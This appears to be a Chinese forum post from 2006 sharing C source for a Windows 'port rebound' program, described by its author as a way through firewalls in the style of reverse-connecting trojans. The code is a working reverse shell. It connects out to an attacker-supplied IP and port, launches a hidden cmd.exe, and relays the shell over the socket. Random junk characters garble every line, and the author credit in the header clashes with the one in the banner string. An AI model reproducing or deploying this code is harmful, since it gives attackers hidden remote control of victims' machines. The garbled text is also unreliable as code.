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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nVK`H@5fw  
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/* ============================== C4`u3S  
Rebound port in Windows NT ,^>WC G  
By wind,2006/7 q3~RK[OCq  
===============================*/ {e3XmVAI  
#include ]t23qA@^2  
#include 2&k5X-Y  
~I_v {  
#pragma comment(lib,"wsock32.lib") _ i-(` 5  
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void OutputShell(); '/h~O@Rw  
SOCKET sClient; S>'S4MJE`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _kJ?mTk  
p?#cn   
void main(int argc,char **argv) DH5]Kzb/  
{ jDaWmy<ha  
WSADATA stWsaData; m V U(b,  
int nRet; W8/8V,  
SOCKADDR_IN stSaiClient,stSaiServer; S]P80|!|  
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if(argc != 3) =N +Ou5D  
{ H=f'nm]dQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5z$>M3  
return; %U4w@jp  
} rLy <3  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZgXn8O[a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); syseYt]  
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stSaiClient.sin_family = AF_INET; z@_ 9.n]  
stSaiClient.sin_port = htons(0); 6*cY[R|q!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T\Zq/Z\  
|.s#m^"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RCS91[  
{ f a9n6uT  
printf("Bind Socket Failed!\n"); cITF=Ez  
return; :EX H8n&|  
} 1VH$l(7IQ  
mJ>@Dh3>G  
stSaiServer.sin_family = AF_INET; bhI yq4N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r%QnV0L^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U;QN+fF]u  
#kuk3}&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XO=UKk+EK  
{ R m{\ R  
printf("Connect Error!"); @rTAbEk{U  
return; @\!9dK-W  
} icX$<lD  
OutputShell(); 6L2Si4OGjG  
} vfh0aW-O  
\[-z4Fxg|'  
void OutputShell() LEUD6 M+~t  
{ kRyt|ryWh  
char szBuff[1024]; LB)sk$)  
SECURITY_ATTRIBUTES stSecurityAttributes; ]/_GHG9  
OSVERSIONINFO stOsversionInfo; Hko(@z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g;>M{)A  
STARTUPINFO stStartupInfo; %o~w  
char *szShell; 2WA =U]  
PROCESS_INFORMATION stProcessInformation; mNvK|bTUT  
unsigned long lBytesRead; WdA6Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m-~eCFc  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l<](8oc. w  
stSecurityAttributes.lpSecurityDescriptor = 0; R/yOy ^<  
stSecurityAttributes.bInheritHandle = TRUE; t;R drk  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Lnk!zj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +Rtz`V1d  
+18)e;   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y'.WO[dgf  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K{ s=k/h  
stStartupInfo.wShowWindow = SW_HIDE; yxECK&&P0#  
stStartupInfo.hStdInput = hReadPipe; ) OqQz7'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -*?Y4}mK  
I) $of9   
GetVersionEx(&stOsversionInfo); )P{I<TBI;  
5>XrNc91  
switch(stOsversionInfo.dwPlatformId) xr2ew%&o  
{ "hRY+{m  
case 1: =,aWO7Pz  
szShell = "command.com"; 5X7kZ!r  
break; !f(aWrw7e6  
default: :Rs% (Z  
szShell = "cmd.exe"; )$#r6fQO  
break; dh7PpuN{  
} _HT*>-B  
0I.9m[<Fc  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3X+uJb2  
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send(sClient,szMsg,77,0); 0d-w<lg9  
while(1) b}G4eXkuj  
{ a<.7q1F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >.D0McQg  
if(lBytesRead) (3RU|4Ks  
{ <JA`e+Bi  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hIj[#M&6  
send(sClient,szBuff,lBytesRead,0); L`i#yXR  
} +s6 wF{  
else ${$XJs4  
{ (8!#<$  
lBytesRead=recv(sClient,szBuff,1024,0); iL-I#"qT,  
if(lBytesRead<=0) break; eJMD8#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6 ~b~[gA  
} )e)@_0  
} o:\RJig<  
TtL2}Wdd.%  
return; Jmb [d\ /D  
}
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